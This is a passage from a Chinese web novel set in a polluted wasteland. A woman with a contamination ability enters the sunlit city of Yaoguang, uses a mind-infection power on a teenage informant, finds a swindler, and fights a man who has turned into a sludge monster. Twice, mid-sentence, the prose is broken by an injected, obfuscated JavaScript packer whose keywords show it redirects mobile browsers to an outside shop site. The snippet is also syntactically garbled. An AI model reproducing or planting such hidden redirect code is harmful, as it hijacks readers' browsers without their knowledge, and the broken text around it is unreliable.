这棵大树无比之大，高到一眼望不到树冠，粗到就算十几个人围起来也不见得能把它围住。然而就是这样高大粗壮的树木，枝干也已干瘪枯萎，裸露出来的树根有被火焰烧过的痕迹，浑身死寂，毫无生命力，有种死寂的美。 方沐为此感到震撼，她在精神病院从没见过这么大的树。她抚摸了一下那棵树的皮肤，粗糙锋利，不像她手心的蘑菇那样柔软。 方沐想要继续前行，必须绕过这棵大树。即便它已经没有了繁茂的枝叶，也依旧遮挡了很大一部分视野。 就这样，方沐猝不及防地被一道刺眼的阳光照过来，她不得不眯上眼睛，一个完全相反的新世界慢慢从她的眼中展开。 如果说刚才的世界是极黑极夜，那么此刻世界的颜色便是极白极昼。 大树和这条黑白分明的界线融为一体，身后是无穷无尽的黑夜，身前是光明无限的白天。 方沐从黑夜跨入到了白天。 一排望不到尽头的围墙拔地而起，占据了阳光所照射范围的绝大多数地区，围墙上方，写着“耀光城”三个大字。 城门口设有几个检察人员，有不少人稀稀拉拉地排着队进城。 方沐随便挑了一支队伍，排到了后面。排队的时候，她特意竖起耳朵，想窃听点儿有用的消息。 “今天吃个啥味儿的营养液？” “就那几个口味的营养液，吃得我都要吐了。我花了大价钱，淘了点儿垃圾来尝尝。” “什么？！你这么抠的人竟然能舍得。” “我感觉我再吃营养液也跟死人差不多了，攒那么多污染晶核，连点人吃的东西都吃不到，又有什么用。” “你说的也对，你待会儿尝尝，要是觉得可以，也给我推荐推荐。” “就是……” 方沐越听越迷惑，是她语言系统出障碍了吗？垃圾竟然还要花大价钱来淘，那玩意不是到处都是吗？ 还有，营养液又是什么东西？听起来就不太好吃，她以后不会只能吃这东西吧。 方沐就这么想着，还没听到点点儿有用的消息，马上就轮到她了。 城门口的检察人员表情一个比一个严肃，嘴巴也都闭得紧紧的，看起来也不是多么好说话的人。 快轮到方沐时，那个检查人员忽然打了个哈欠，半死不活地冲着某个方向说了一声：“小程，你过来。” 一个白净年轻的女生走过来，身体紧绷，声音有点儿紧张：“第五小队队员程思意报道，请指示！” 说话一本正经的，看起来像个新人，还是没什么职场经验的那种。 那个检察人员被她吓了一跳，感染于这种对工作的热情，声音也上升了两个调：“好的，你在旁边观察了这么久，今天就正式开始上手吧。” 程思意一上岗，第一个检测的人就是方沐。两个人互相对视，都从彼此的眼中看到了点清澈愚蠢的目光。 “你好，这位女士，请您出示手环，并将头盔和防护服放入净化舱中，其它物品包括污染晶核也要拿出来检查。” “手环？头盔？那都是什么？”方沐扫了一眼周围的人，这才发现他们手上都带着一个黑色的东西，像是智能手表。 还没进入城内的人大多都穿着防护服，戴着头盔，看起来是统一制定的，只有准备检测和进入城内的人才会把防护服和头盔脱下来。方沐还以为这是属于他们的精神病院服，但现在看来这应该是很要紧的东西。 程思意第一次上岗，就遇到了突发情况。这种从没入过城的人完全是少数，起码程思意旁观学习的这几天一次都没看过。 好在她提前准备了很久，对这部分情况有印象，不然第一次上岗就要搞砸了。 “好的，那请您进入这边的检测仪器中，我们会检测您的精神力污染值，检测合格后，我们会为您办理后续相关手续。” “精神力污染值？那是什么？这个跟入城有什么必要关联吗？” 程思意双眼微瞪，有些震惊，她从没见过方沐这种对废土世界毫无了解的人类。她拿出一本《废土人类生存手册》，递给方沐后，开始像一个被抽查背诵的学生一样开始介绍。 “多年前，一种名为污染物的可怕怪物突然出现，霸占了九成的土地，侵蚀了除人类以外的所有生命，我们从被迫旧纪元时代过度到新纪元时代，不得不在废土上寻找生存的机会。 污染物喜欢黑暗，惧怕阳光，而耀光城是废土世界唯一被太阳庇护的城市，也成为了人类最后的避难所。可是一旦夜幕降临，污染物也会趁机溜入城中，通过侵蚀人类的精神力污染人类。 人类的精神力污染值一旦超过35%，便会进入异常状态。如果污染值长时间无法回归正常值，随着精神污染值升高到40%，人类将会彻底异化为污染物。 我们护城队正是为了筛选出异常人类，保护人类安全而建立。” 说到最后，程思意的眼睛里闪着亮光，充满了对这份工作的自豪，与刚才那个紧张的新人完全不同。 方沐翻开《废土人类生存手册》，对照着程思意刚才那段话的内容去看，一字不差。 她又往后翻了翻，看到了更多有关废土的介绍。污染物等级根据污染浓度从S+级到D级排序，污染浓度越高，污染物等级也越高。而人类精神力也根据污染值从S级到F级排序，污染值越低的人类，精神力等级也越高，但至今没有出现过污染值为0的人类。 看到这儿，方沐有些担心，这个污染度和精神病会是差不多的东西吗？ 在废土世界来看，污染是对人类生命威胁极大的事情。可她的异能恰好是污染，她这种精神病人很有可能和那位娃娃机女士一样，其实也是污染物。当然，她肯定是要更高级的污染物。 方沐有些担忧，害怕自己无法通过入城检测。但转眼又想，她要是被测出来是污染物，她就当场把这里的人类都污染掉，让他们变成她的同类，这样她就不是异类了。 好主意，她简直是个天才。 想开后，方沐跟着程思意的指引，进入了一个半透明的小房子里。 房子很窄，呈长方体形，刚刚好能容纳开一个成年人类。她身高175cm，已经感觉有点局促了。 程思意走到操作台位置，看到检测仪上有一个圆形表盘和一个报警灯。 操作手册上介绍说，当精神污染值大于等于35%时，报警器会亮红灯，如果精神污染值低于35%时，报警器会亮绿灯。至于圆形表盘，上面的读数表示污染浓度具体数值。 另外，这台检测仪还可以检测出人类身上是否存在可疑伤口，可谓是检测非常全面。不过对于这台机器来说，操作手册上却写得很简单，没有具体介绍相关的检测原理。 这台仪器已经很久没有使用了，上面落了一层灰，大概很少有人知道上一次使 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470518|201454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用的具体时间。 程思意吹了吹表盘上的灰，按下按钮，启动检测仪。 圆形表盘上的指针开始变动，突然从0指到100的位置。程思意瞪大了眼睛，去看报警灯，它并没有反应。 检测仪检测速度很快，过了一会儿，检测结束，报警灯是绿灯。 程思意松了一口气，再去看表盘的时候，发现指针又指回到了0的位置。 奇怪，这台检测仪是已经显示完数值了吗？还是说，这就是这台检测仪的工作机制？ 程思意感觉有些奇怪，但是方沐的检测结果是完全合格的，甚至身上也并不存在任何可疑的伤口，她没有理由质疑方沐。 她又观察了一遍方沐，也没在方沐身上发现任何可疑的迹象，她是一个完全正常的人类，甚至有点正常过头了。 程思意的异能是【慧眼】，她可以准确地观测到一个人的状态，并判断那人此刻的精神力污染值。此刻，方沐在她眼里的状态是正常，周围还不断散发着浅浅的白光，这代表方沐的精神污染值极低。 她只在少数几个人身上看到过这种白光，那是只有A级以上异能者才有的东西。 方沐只在检测仪里待了一会儿，还没来得及感觉到什么，检测就已经完成了。 “您的检测合格，完全符合入城标准。” 方沐有些意外，心里似乎还有点小小的失望。 不对，她为什么失望，她应该高兴才对。 接着，程思意开始填写方沐的个人信息。 姓名：方沐 性别：女 年龄：26 入城时间：新纪元3016年9月20日 程思意一顿，问她：“你有介绍人吗？” 方沐想了一下，说出了陈听的名字，她只知道这个人。 “好的。”程思意将信息录入数据，告诉她：“我们这边经介绍人介绍入城是会有晶核奖励的，根据您介绍人设置的分成比例，你们的分成是9:1，所以你可以获得9块D级污染晶核。” “谁九谁一？” “你一她九。” “……”方沐无语了，她觉得自己好像真的被骗了。 程思意把方沐所有的晶核还给她，说：“奖励晶核已经实时发放到你的账户里，手环、头盔以及防护服可以去城内置换柜领取，你领取到手环后可以看到你的账户余额。还有其它不明白的，你可以翻看《废土人类生存手册》寻找答案，或者去相关部门寻求帮助。” “好的谢谢。” “不客气，这是我应该的！”这么一套流程下来，方沐自己都有点累了，没想到这位新人员工依旧这么热情。 看来她真的很喜欢这份工作。 方沐跟程思意告别后，拿着东西刚要离开，接着就听到了后面的说话声。 那是一伙刚从废土回来的队伍，和方沐一样也经历了一场副本。不过他们运气不好，不仅折损了一名队员，甚至还有个人受了伤。 方沐看了一眼，受伤的是个男人，肚子上面划开了挺大一道伤口，几乎能够看到里面翻起的肉。他的防护服破了，血迹到处都是，看起来有些狼狈。 不过看他的表情，那道伤口似乎不太致命。 就是程思意，才不过刚刚上岗，马上就接连应对两起突发事件，太不容易了。 加油吧，新人员工。方沐摇摇头，看着《废土人类生存手册》最后面的地图，开始寻找程思意说的置换柜。 她首先得领到手环，然后再找点吃的东西。从精神病院出来后，她就没吃过东西，中间又经过那么长时间的体力消耗，她已经饿得不行了。 5. 第 5 章 耀光城内的建筑风格和城外废土差别不大，看得出来都是同一时期的建筑。不同的是，城内人口多，和城外荒凉的景象比起来，明显更加有人情味。 城内共分为三个大的区域，从内到外分别是拂晓区、黎明区、黄昏区。方沐目前所在的区域是黄昏区，是面积和人口流动最大的一个区域，置换柜的数量也相应最多，方沐很快就找到了一台空闲的置换柜。 置换柜从外表上看起来就是个普通的黑皮铁柜子，门上有个标志，显示里面有没有正在使用机器。除了柜子外面那个巨大的符号“Z”以外，看起来并没有什么特别的。 Z？这是某个品牌的商标吗？ 方沐走进去，置换柜自动关闭，里面黑黝黝的，只有显示屏上泛着白光，上面也同样显示着一个“Z”字。 方沐这时突然想起来，城门入口的相关检测设备上，也都有着相同的符号。 看来，这些机器都来源于同一个地方。但是，这么重要的事情，手册里竟然没有提到过一句，这难道是什么机密事情吗？ 抱着这种疑惑，方沐已经站到了显示屏前面。显示屏的操作不算复杂，方沐按照指引，输入相关信息，点击【确认】，很快就有了反应。 【核实信息……核实信息通过……扫描确认……确认本人操作】 【相关物资已发放，请领取】 面前的小门打开，一个黑色的超大手提箱出现，同样的，箱子上面也是一个“Z”字标志。 方沐打开，里面是一个黑色手环和一整套防护服。方沐看了手册，知道防护服通常只有在进入废土时才会穿戴，目的是降低污染物对人类的污染程度，所以方沐现在用不到。 她把手环戴到了手腕上，手环有自动调节动能，马上调整到了适合方沐手腕的大小。方沐转了转手腕，没什么异物感，接着把手环贴到了显示屏感应处。 【相关信息加载中……】 【姓名：方沐 账户余额：9晶核点 请选择您需要的服务】 9点？她记得程思意跟她说过，她获得了9枚D级污染晶核，所以1点应该等于1枚污染晶核。 方沐干脆把自己所有的污染晶核都存了进去，很快账户余额那里到的数字变成了64。所以1枚C级晶核等于10枚D级晶核，等于10晶核点。 方沐不知道自己这个存款算是什么水平，于是她点开了商城，然后被里面的东西震惊了。 一个被称作“商城”的东西，里面竟然有且只有营养液，而且只售卖六种口味的营养液，名字也起得极为简单。 这些口味分别是原味、蔬菜味、水果味、奶味、肉味、自定义味。 它们的价格分别是1、10、20、50、100、300。 方沐非常好奇所谓的自定义味是什么味道，可惜她的账户余额实在有限。 于是她最后购买了一瓶原味营养液与一瓶蔬菜味营养液，总共花费11晶核点，剩余53晶核点。 营养液都用一个透明小瓶子装着，只有两个指节长度大小，原味的是透明色，蔬菜味的是淡绿色。 就这么点大小，够塞牙缝的吗？ 方沐先尝了原味的，啥味没有，但是很神奇的是，她喝完之后肚子不饿了，口也不渴了，效果还是挺神奇的。 接着她又尝了蔬菜味的，她的嘴里倒是没尝到什么味道，但是她印象里所有蔬菜的味道似乎都在她脑子里滚了一圈。滚完后，味道也很快消失了。 方沐喝完两瓶营养液，肚子是不饿了，可嘴巴里更难受了，没嚼点儿实际的东西，总感觉一点儿不满足。 这时再想起城门口那两个人的话，方沐似乎有些理解了，她或许也得找点垃圾尝尝。 从置换柜里出来，方沐一时陷入到了纠结之中，她并不知道陈听这个人到底住在哪里。 以目前的情况来看，方沐觉得陈听这人大概是个骗子。但毕竟她手里还握着九成的奖励，于理于情，方沐都该去找她算一笔账。 方沐继续拿出那本手册，翻看着后面的地图。 黄昏区按照等级从上到下分A、B、C、D四个区，但无论去哪儿，都得靠11路车过去，有点儿费腿。 方沐不明白，在这个连营养液都没有第七种选择的世界，分这些等级又有什么意义。大家吃的不都是营养液？哦，还有垃圾。 这时，一个人突然从屋顶上跳了下来，站到方沐身后。 “新人？这可真稀奇。怎么，你不知道去哪里吗？” 方沐被这神不知鬼不觉的声音吓了一跳，回头一看，没看到人。 坏了，见鬼了。 “咳，这里。”那人伸出手戳了戳她。 方沐低头，看见了一个矮自己一头的女生，看起来年龄偏小，动作流里流气的，嘴里还叼了根棒棒糖。 “小屁孩？干嘛？”方沐学她的语气反问她。 那人有被呛到，搓了搓鼻子，不屑地哼了一声：“我是这里最大的情报商，只要是这个世界上有的东西有的人，我都能帮你找到。” 方沐心想，这里的人怎么都喜欢给自己封个称号。她刚想找骗子一号，这会儿就来了个骗子二号。 “陈听，这个人你知道吗？”方沐没指望这人能有什么真本事，当然，如果能问出点有用的东西来，她也不亏。 “巧了，不久前刚有客户托我找她，你赚了。”女生微抬起下巴，有点骄傲。 “哇哦。”方沐看不出这人嘴里说的真话还是假话，“所以你知道这人现在在哪里？” “当然。”女生点点头，拿出自己含在嘴里的棒棒糖，另一只手对着方沐伸了伸。 “什么意思？” “给钱哪，我可不做赔本的生意。” “要多少？” 女生伸开手掌，露出五个手指头。 “五？”方沐心想还算便宜。 女生摇了摇头。 “五十？”方沐觉得有点太贵了。 “算了，五十也行。看你是个新人，身上应该没多少钱，就给你个新人优惠吧。”女生摊了摊手。 方沐没想到这个女生突然变得这么好说话，她其实觉得五十还是有点太贵，但和陈听分走的那九成奖励来比 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女生接着说：“然而陈听这个人呢，是个招摇撞骗的大骗子。她的精神力等级太低，再好的异能都发挥不出作用，身上自然也没多少晶核点，只能住在房价最低的D区。” 方沐点点头，也猜出了陈听这人是个骗子，等着女生接着往下说。 “好了，没了。”女生含着棒棒糖，一脸欠揍地笑。 方沐沉下脸来，知道自己被耍了，这人压根没想告诉她多少有用的信息。 “就这些？”方沐声音变得阴沉。 “就五十晶核点还能得到多少有用的消息，我跟你说这些已经很仁义了，你知道现在这种信息有多贵吗？”女生一脸理所当然，根本没把方沐放在眼里。 “喂，小屁孩。” “干什么？别这样叫我，我已经17了。” “你吃的是什么？” “这个吗？”女生拽住自己嘴里的棒棒糖，“这是旧纪元人类的垃圾食品，俗称垃圾。不过就你这样的，就别想着吃垃圾了，你肯定买不起。” “哦？是吗？”方沐挑了挑眉，往前迈了一步，拉近她们之间的距离，微微俯身，鼻尖几乎要贴到女生脸上。 女生往后退了一步，感到莫名其妙：“恐吓我可没有用，我可不是被吓大的。” “我不需要吓到你，你只要听我的话就好了。”方沐脸色变得阴森。 “我凭什么要听你的话？” 方沐笑着看她，并不说话。 使用异能【乌合之众】。 【异能：乌合之众 介绍：短时间内，可病毒式快速传染一个想法。一定时间内，被传染者会无比相信这个想法，且不会对其产生质疑，传染时长取决于被传染者易被传染程度。 提示：想法不在于正确，而在于大众】 我是方沐的狗，她是我的老大，我是她的小妹，我最相信她，我最听她的话。 女生忽然感到大脑一空，一些从未出现过的想法出现在自己脑海里。 她看着面前这个女人，觉得她无比伟大，让人忍不住相信，听命于她。 “大姐，你有什么想了解的消息吗？我可以把我知道的一切告诉你。” 6. 第 6 章 顷刻间，攻守易势。 刚才还一脸傲气的女生，此刻乖乖地站在方沐面前，完全变了一个人。 大姐？这个称号她喜欢，她今天就是来打劫的。 方沐摇摇头，年轻人啊，还是太嫩。 “你叫什么名字？”以防万一，方沐随便抛了个问题试探。 “文昕锐。” “手环打开，我看看。”这人没有说谎，她确实是叫文昕锐。 方沐不再废话，继续问：“陈听这人现在在哪里？” “黄昏区D区3号大街21号。”文昕锐乖乖回答。 方沐点点头：“很好。” 她拿出地图，放到文昕锐面前：“给我指指具体的位置。” 文昕锐看了看，指了一个地点。 方沐用指甲在上面标记了一个小划痕，目标地点离这里还有段距离，走过去大概需要一个小时。 “对了，你吃的这个垃圾有名字吗？” “这个吗？”文昕锐把棒棒糖从嘴里拿出来，“草莓味棒棒糖，特别好吃。” 文昕锐看着自己的棒棒糖，纠结了半天，递给方沐：“大姐，你想吃吗？那这个就给你吧。” 方沐看了眼上面亮晶晶的口水，有些嫌弃：“就没有新的吗？” “有的有的。”文昕锐从自己裤子口袋里面掏出来一大把棒棒糖，很不舍地递给了方沐，“就只有这些了。” 方沐接过来，数了数，一共五根。她从里面拿出来一根，说：“我就要这些好了。” 她把那一根棒棒糖递给了文昕锐，丝毫不愧疚地把剩下的四根棒棒糖全部装进了自己的口袋里。 文昕锐恭敬地接过来那根棒棒糖：“谢谢大姐！” 方沐剥开一根棒棒糖，学着文昕锐的样子叼到嘴里，贱兮兮地回她：“不客气~” 棒棒糖一入口，一种有些劣质的草莓糖精味瞬间在嘴里炸开。但因为有前面营养液的对比，这个棒棒糖的味道实在是好到不能再好了，甚至有种这辈子吃到嘴里都死而无憾的感觉。 这就是垃圾的味道吗，真的太美味了。 方沐有些后悔了，她刚才就不应该把那根棒棒糖还给文昕锐。一听到别人叫她大姐，她一时有些装过了。 眼看洗脑时间还没结束，方沐还想尝试点更大胆的事。 “小文啊。”方沐笑眯眯的，“给大姐点儿晶核点呗。” “？”文昕锐捂住自己的手环，摇摇头：“大姐，这个真不行。” 好吧，有点遗憾。方沐没想到她还是个小财迷。 不过不给就不给吧，她抢……不，她手里的这些垃圾们的价值已经远远超过了那五十晶核点。等她缺钱了，直接把这些垃圾们卖掉就是。 “好吧，大姐就是开个玩笑。”方沐拍拍文昕锐的脑袋，“现在没事了，你朝着那边的方向走，自己去玩玩吧。” 方沐给文昕锐指了一个D区的反方向，想着文昕锐能走多远就走多远。 文昕锐乖乖地点了点头，没有疑惑，自己离开了。 方沐同样转身离去。 两个人之间的距离越来越远，异能的作用也越来越弱。到达某一个距离后，异能“啪”的一下断开了。 文昕锐走在路上，先是感到迷茫，等想起来刚才发生了什么后，脸上越变越红，温度蹭蹭蹭地往上涨。 “你这个家伙，我饶不了你！！！”文昕锐想起刚才自己如此屈辱的模样，转身就要跑去找方沐。 这时，一道声音传到她的耳中。有人发动了异能【传声】。 “快回来。”语气不容反驳。 文昕锐咬咬牙，看了看时间，无力地跺了跺脚，最后还是选择了回去。 ------------------------------------------------------ 方沐终于找到了陈听的住址。 D区多是平房和低矮楼房，房子分布的比较稀疏。方沐一路走来，感觉房子的入住率并不是很高。 方沐走到3号大街21号门口，这是一间平房，大门锁着，门上面贴了很多手写的小广告。 “你会好奇自己未来的命运吗？你会担忧明天的生活吗？我能看到未来的事情，也能看到你的结局。” “有什么烦心事吗？可以找我聊聊，提供一对一陪聊服务。” “帮找东西，什么都能找。给够晶核点，一切都好商量。” “废土帮组队，你给我提供信息，我帮你匹配合适的队友。” 风格如出一辙的相似，方沐拿出那张一直揣在兜里的广告纸，字迹也是一模一样，这些明显都是一个人写的，方沐没有找错地方。 大门最下方，不知道谁偷偷写了“骗子”两个字。 方沐敲了敲大门，没人回应。她透过门缝往里面看，也没看到半个人影。 难道知道方沐要来找她，所以提前跑路了？ 方沐抬头看了看围墙，跑了几步借力翻了上去。好巧不巧，她看到了院子里缩着个人影，身上背着一个小包袱，正偷偷摸摸地垫着箱子往上爬，明显是想翻墙跑路的意思。 那人知道被发现了，连忙踩上箱子，从围墙上翻了出去。 方沐也跟着跳下围墙，跑过去追人。 那人看得出来腿脚不太利索，跑不快。方沐没跑几步，很快就拉近了二人距离，抓住了那人的衣领子，把她抵到了墙上。 那人知道自己跑不掉，举起双手，立马示弱：“哎呦呦饶命啊！我已经把所有的晶核都给你们了，我实在是拿不出来那么多晶核，你们就宽恕我几天吧。” “什么东西？”方沐皱皱眉，继续问她：“你到底是不是陈听？” 那人一听这话，忽然停止了求饶，有些欣喜地望着方沐：“你不认识我？” “现在认识了。”方沐一看她的表情，知道她就是陈听本人，“别废话，把新人入城的奖励都拿出来。” “原来你就是那个新人，怪不得我账户上突然多出一笔晶核点。”知道方沐并不是讨债人后，陈听放松下来，说起话来也变得肆无忌惮。 “所以那些晶核点呢？” “都没了，还债。”陈听耸耸肩，有些无奈。 方沐感觉一拳打到了棉花上，知道这笔晶核点是要不回来了。 “有事我们屋里说吧，太阳快闭眼了。” 方沐跟着陈听的目光，抬头看天上，发现天色暗了下来，有慢慢变黑的倾向。 只是，方沐注意到了陈听的用词。陈听用的是太阳快闭眼了，而不是快落山了。 这里的太阳，和真正的太阳好像完全不一样。 方沐跟着陈听去了另一个低矮楼房，爬到了最高楼层——三楼。 “刚才那边不是你家？”方沐有些奇怪，有家不住，为什么还要特意跑到这边来。 “之前是，现在到期了。”陈听瘸着腿，停到了房门前，在她的小包袱里找东西。 方沐更奇怪了，到期了继续续租不就好了，怎么还大费周折开始搬家。接着，方沐看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470520|201454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到陈听拿出来的东西后，就闭嘴不说话了。 陈听掏出来一根铁丝，正在撬锁。 方沐理解了，挡在陈听旁边，观察周围的情况。她干这种事有经验，很快就把自己当成了放风的。 “咔哒”一声，房门开了，二人溜进去。 方沐本来以为这里没人住，房子里会很冷清，甚至有可能到处都是灰尘。没想到里面干干净净，桌子和沙发上到处放着一些书本，一看就是有人生活的痕迹。 “这里有人住？”方沐侧头问陈听，她们好像是闯进别人家里了。 “就我一个人。”陈听把她的小包袱放在了桌子上，整理了下沙发，招呼方沐过去坐。 “你胆子倒是挺大，就不怕有天这里会有人住进来。”方沐没坐到沙发上，反而站到了窗户边，向外看去。 “这没什么好怕的，这里是整个耀光城最差的地盘，危险级别比较高，怕死的都不会过来。” “是吗？”方沐上下打量了一下她，冲着她的腿抬抬头，毫不客气地问：“你那条腿，不会就是欠债被打断的吧？” 陈听倒是一脸无所谓，晃了晃自己的腿，回：“那倒不是，这是被污染物搞的，都已经过去好多年了。就是因为那个污染物，我的精神力污染值才一直……” “唉，算了，也没什么好说的。倒是你，你是第一次进城？”陈听对此感到很好奇，“你之前一直待在废土里？你都是怎么过来的，你一直没有被污染吗？” 陈听的疑问合情合理，废土完全就是污染物的地盘，长期待在那里的人精神多少都会失常，然后彻底异化成为污染物，只有一些疯子才会长期游荡在那里。 方沐没有回答，她觉得自己那家精神病院和废土世界有着很多相似的东西，但她目前还没办法相信任何人。 “莫非你是拾荒者？”陈听见她不说话，于是继续追问。 “拾荒者？那又是什么？”方沐敏锐地发现了一个新的信息，这也是《废土人类生存手册》上面没有写的。 “就是一群疯子，那群人觉得耀光城是一场骗局，所以拒绝进城，拒绝使用营养液，通过寻找旧纪元人类留下来的食物存活，和你兜里那些垃圾食物差不多。”陈听指了指方沐兜里露出来的棒棒糖。 方沐拿出一根，扔给陈听：“你接着说。” 陈听接过来，剥开糖纸，放到嘴里：“不过那都是二十多年前的事了，那批拾荒者早都不见人影，估计全员阵亡了。倒是你，我很好奇你怎么在废土活下来的？” 方沐的直觉告诉她，这个陈听或许知道不少东西。 于是她伸出左手，把手心的蘑菇对着陈听，问她：“你知道这是什么吗？” 陈听先是好奇，等她看清方沐手心里的东西后，彻底瞪大了双眼，连棒棒糖都顾不上吃了：“这……这是蘑菇？你是自然系异能者？！” 方沐的惊讶不比陈听少，她没想到陈听会如此震惊，似乎这是什么了不得的东西。 “自然系异能者，这怎么了吗？” 陈听摇摇头，依旧没能从震惊中反应过来：“你不知道，那群拾荒者里有一半人都是自然系异能者。自然系异能者的寿命通常都很短暂，而且都不是自然死亡，这里已经有十几年没有出现过自然系异能者了。” “你，你怎么会是自然系……？难道那个预言是真的？”陈听眼里有些迷茫。 “什么？”方沐刚想继续问她，突然听到了楼下有动静。 她探头去看，发现是白天在城门口遇到的那伙人。 7. 第 7 章 那个腹部受伤的男人，此刻肚子上绑了一大圈绷带，看起来像是治疗过的样子。 只是，方沐觉得他的脸色变得很苍白，比白天时的状况要糟糕不少。两个男人搀扶着他，一起走到了一个院子里。 从方沐这边的角度去看，刚好能看到院子里的景象。 “怎么了？”陈听发现她的注意力转移到了窗外，瘸着腿走到了窗户边，和她搭话：“是他们啊，不过怎么少了一个人，是死在污染区了吗？” “你认识他们？”方沐切换了话题。 “不认识，只知道他们是最近才搬过来的住户罢了。放着别的地盘不去，偏偏来最危险的D区，也不知道他们打得什么算盘。” “危险？你指的危险是什么？D区会出现污染物吗？”方沐已经听到不止一次D区危险这句话了。 “binggo！”陈听冲着她竖了竖大拇指，“没想到你还挺聪明的，就是污染物。D区这边距离太阳太远，天黑太早。一旦没有了阳光，总有污染物会顺着墙爬进来。” 方沐了然，再看向窗外时，那几个男人已经不在院子里了。 天空之上，黑色的夜空追赶着白色的阳光奔跑，整个世界从D区开始逐渐变黑，太阳仿佛真的像一只正在慢慢闭合的眼睛。等它彻底闭眼时，整个耀光城都包进了它的梦里。 一个女人站在顶楼上，整个人几乎与黑夜融为一体。她束着高马尾，穿着一身黑色长袍，冲着方沐这边看了一眼。 黑夜中，一丝银色反光闪烁着。 “那里好像有个人？”方沐以为自己看错了，一个眨眼间那人已经消失不见。 “一个黑衣女人？”陈听问她。 “你知道？”方沐感到好奇。 “不用管她，一个天天闲的没事到处溜达的街溜子罢了。她是空间系异能【瞬移】，仗着自己跑得快，说不定会在哪儿出现。” 陈听说完，给方沐收拾出一间空房间：“你今晚就住在这里，现在天已经黑了，有什么事还是白天说比较好。” 方沐躺到了床上，这个房间比较狭小，床也不大，但躺着还算舒适。 她刚闭上眼睛，房门又被打开了。 “我总感觉今晚上会发生什么事情，你最好还是注意点。”陈听过来嘱咐了她一句，脸上表情看着不太好。 晚上会发生什么事，难不成污染物还会跑到屋里来？ 那这么重要的事，陈听她怎么不早说，反而快睡觉了，才慌慌张张地跑过来，像是做了什么噩梦一样。 方沐迷迷糊糊地想着，大脑越来越昏沉，就要睡过去的时候，又听到了“吱嘎”一声。 这个陈听，大晚上还睡不睡觉了。 方沐半睁着眼，朝着房门口看去，房门还好好的关着，没有人打开，方沐一下子清醒了。 既然不是房门在响，那是什么声音？ 方沐朝着窗户看去，窗户还好好的关着，也没有被打开。 就在她松了一口气，以为是出现幻听时，有东西垂了下来，落到方沐面前。 方沐朝上面看去，一个男人支在房顶上，肚子上破了一个大洞，里面的内脏全部漏了出来，一大截肠子垂下来，在空中荡来荡去。 “好饿，好饿……”男人双眼通红，正是方沐白天看到的那个受伤的男人。 四周的房门和窗户都是紧闭的，房顶上也没有一个破洞，方沐不知道这个男人究竟是怎么进来的。 难道他一开始就在这个房间里？她感到毛骨悚然。 “嗡——”方沐手环突然震动一下。 与此同时，方沐面前的字幕上同时更新。 【已发现B级污染物 污染浓度：63%】 方沐一惊，快速从床上弹起来，躲过了男人的攻击。 这时，方沐也发现了他的异常。他肚子里的内脏都已经空了大半，可他不仅没有半分感觉，反而整个人都异常兴奋。 方沐注意到他的双眼格外通红，牙齿和指甲也变长变尖了不少，整个身体呈现一种病态的苍白，完全不是正常人的模样。 “好饿我好饿……我要吃东西……”男人不依不饶，似乎把方沐当成了某种食物，张着一口尖牙的嘴冲了过来。 方沐甩出蘑菇剑，朝着男人身上砍去，将他的半条手臂削了下来。 那半条手臂掉到地上，顷刻间变得乌黑，然后化作一摊烂泥。 这个男人，已经不是人类了，他变成了污染物！ 方沐趁机对他使用异能【乌合之众】，将男人定在了原地，穿上了自己的鞋子。 “好饿好饿好饿！”男人原地挣扎，突然像是融化的蜡烛一样，慢慢褪下了外面的皮肤。 他又将掉下的皮肤塞进了嘴里，放到嘴里不断咀嚼，变得稀碎的皮肤又从他的肚子里漏出来，化作一滩一滩淤泥状的物体，看的人san值狂掉。 “好饿好饿好饿！”他还在喊着。 方沐心想，你当然饿了，你吃了就漏，怎么能填饱肚子。 趁着男人还在吃自己皮肤的功夫，她从卧室里退出来，关紧房门，去找陈听。 “陈听，快走！污染物进来了。” 陈听也听到了外面的动静，早就已经坐了起来。此刻听到方沐的声音，更是片刻不敢耽误，穿上鞋子就往外面跑。 “污染物呢？”陈听出来的第一件事，竟然是跑到桌子旁边收拾自己的包袱。 “还在卧室里。”方沐举着蘑菇剑，紧盯着卧室房门，声怕污染物下一秒就破门而出。 但是，自从方沐出来后，卧室里的动静慢慢就小了下去。 那个污染物是离开了吗？方沐不敢确定。 她回头一看，发现陈听还在收拾东西，着急催促她：“别管那些东西了，先离开要紧！” “不行不行，这些东西很重要。”这些东西仿佛比她的命还重要，陈听试图将桌子上所有的书本都收到自己包袱里。 下一秒，方沐注意到卧室房门下方的缝隙里突然流出一堆淤泥。淤泥把房门腐蚀掉，然后慢慢流入到了客厅里，变成了一个人形淤泥怪，体型也变大了一倍。 他刚才竟然把卧室里的东西都吞掉了，包括方沐睡过的那张床。 淤泥怪瞄准了离它最近的陈听，直直地冲她而去。 方沐暗骂了一声，将蘑菇剑变长变大，格挡开污染物的攻击，而后又把蘑菇化成一张大手，把陈听捞了过来。 污染物弹到地上，又化成淤泥状，将沙发和桌子吞了个干净，几乎是见到什么吃什么。 “快走！” 这时污染物又冲了过来，方沐把陈听推到门外，自己紧随其后，用房门再次挡住了污染物。 陈听腿脚不好，没办法走太快。方沐半扶半抱着她，还得警惕着随时可能会出现的淤泥怪，硬生生被拖住后腿。 “你的异能是什么？你快想点办法，先拦住那个污染物。” “我的异能没有用，我……”陈听突然抬起头，双手拽住方沐，喊道：“小心！” 